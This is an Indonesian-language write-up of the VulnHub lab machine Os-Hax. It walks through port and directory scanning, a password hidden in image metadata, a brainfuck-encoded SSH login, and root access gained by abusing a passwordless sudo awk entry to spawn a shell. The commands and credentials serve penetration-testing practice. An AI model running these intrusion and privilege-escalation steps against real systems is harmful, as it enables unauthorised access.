[VulnHub] Os-Hax WriteUp

3 minute read

For English version of this write-up, click here.

Setup

Edit file /etc/hosts menjadi seperti dibawah agar static web mesin bisa berjalan.

#127.0.0.1      localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
#::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

<IP_mesin> localhost

Untuk mencari IP mesin bisa dengan menggunakan nmap atau netdiscover

Information Gathering

nmap

nmap -sV -sC -p- localhost -oN initial.nmap -v

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 43:0e:61:74:5a:cc:e1:6b:72:39:b2:93:4e:e3:d0:81 (RSA)
|   256 43:97:64:12:1d:eb:f1:e9:8c:d1:41:6d:ed:a4:5e:9c (ECDSA)
|_  256 e6:3a:13:8a:77:84:be:08:57:d2:36:8a:18:c9:09:d6 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 5ECF6AFD7D00CCBE6B3C7AA8FD31BDE8
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Hacker_James
MAC Address: 08:00:27:E2:E3:E2 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

dirb

dirb http://localhost /usr/share/wordlists/dirb/common.txt

---- Scanning URL: http://localhost/ ----
==> DIRECTORY: http://localhost/css/
==> DIRECTORY: http://localhost/html/
==> DIRECTORY: http://localhost/img/
+ http://localhost/index.html (CODE:200|SIZE:3135)
==> DIRECTORY: http://localhost/js/
+ http://localhost/server-status (CODE:403|SIZE:274)
==> DIRECTORY: http://localhost/wordpress/

wpscan

Karena server menjalankan wordpress maka kita bisa coba cari celah wordpress dengan wpscan. wpcan --url http://localhost/wordpress/ Namun dari hasil scan dgn menggunakan wpscan tidak ditemukan hal yang menarik, server pake wordpress versi terbaru, tema bawaan, dan no plugin.

Kembali ke laptop dirb, buka direktori /img '/img' Ada file menarik yaitu flaghost.png, download file tsb lalu examine dengan exiftool.

exiftool

Exiftool adalah software open-source berbasis perl untuk membaca, mengedit, dan memanipulasi metadata dari berbagai macam tipe file. exiftool.org

Metadata is “data that provides information about other data”. In other words, it is “data about data.wikipedia.org

Pixels Per Unit X               : 3780
Pixels Per Unit Y               : 3780
Pixel Units                     : meters
Make                            : passw@45
Image Size                      : 387x98
Megapixels                      : 0.038

ada string passw@45 di meta Make. Note: sebelum menggunakan exiftool bisa coba pakai command strings terlebih dahulu untuk mengecek apakah ada string yang disematkan ke file gambar tsb.

Kira-kira apakah teks passw@45 tersebut ? :thinking: kalo password login ssh dimana usernamenya?, lalu coba ekstrak string dari gambar lain di direktori /img tapi ternyata zonk :man_facepalming:.

Lalu entah dapet ilham darimana saya coba untuk masukin teks tersebut ke url bar dan ternyata itu clue direktori :man_facepalming: :man_facepalming: . passw
Nah di dalam direktori tersebut ada file flag2.txt dg bahasa brainfuck.

i+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<]
>--.- --.<+ +++++ [->-- ----< ]>--- -.<++ +[->+ ++<]> +++++ .<+++ ++[->
+++++ <]>.+ +.+++ +++++ .---- --.<+ ++[-> +++<] >++++ .<+++ ++++[ ->---
----< ]>-.< +++[- >---< ]>--- .+.-- --.++ +.<

Brainfuck is an esoteric programming language created in 1993 by Urban Müller, and is notable for its extreme minimalism. The language consists of only eight simple commands and an instruction pointer. (wikipedia.org)[https://en.wikipedia.org/wiki/Brainfuck]

Next copas isi flag2.txt ke brainfuck interpreter macam (copy.sh)[https://copy.sh/brainfuck/]. Jalankan, dan kita dapat outputnya.. web:Hacker@4514

Exploitation

User Flag

ssh dengan username dan password diatas lalu kita dapat flag user.

web@jax:~$ id
uid=1001(web) gid=1000(uname-a) groups=1000(uname-a)
web@jax:~$ ls
flag3.txt
web@jax:~$ cat flag3.txt 
   ______          ______          ____                 __ 
  / ____/____     /_  __/____     / __ \ ____   ____   / /_
 / / __ / __ \     / /  / __ \   / /_/ // __ \ / __ \ / __/
/ /_/ // /_/ /    / /  / /_/ /  / _, _// /_/ // /_/ // /_  
\____/ \____/    /_/   \____/  /_/ |_| \____/ \____/ \__/  
                                                           

MD5-HASH : 40740735d446c27cd551f890030f7c75

Next adalah dengan menjalankan linenum.sh di direktori /tmp.

[+] We can sudo without supplying a password!
Matching Defaults entries for web on jax:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User web may run the following commands on jax:
    (root) NOPASSWD: /usr/bin/awk


[+] Possible sudo pwnage!
/usr/bin/awk

Dari hasil enumerasi diatas kita menemukan entri sudoers yang memungkinkan kita (user web) untuk menjalankan perintah awk secara sudo tanpa perlu memasukkan password.
Hal itu dapat ditunjukkan dengan membuka ‘/etc/sudoers’ dan melihat user privilege specification untuk user web.
web ALL= (root) NOPASSWD: /usr/bin/awk Nah berhubung saya gak paham cara penggunaan awk, site gtfobins menjadi penyelamat.
sudo awk 'BEGIN {system("/bin/sh")}' Dan kita dapat akses root :smile: final


Referensi:
https://linux.die.net/man/5/sudoers
https://gtfobins.github.io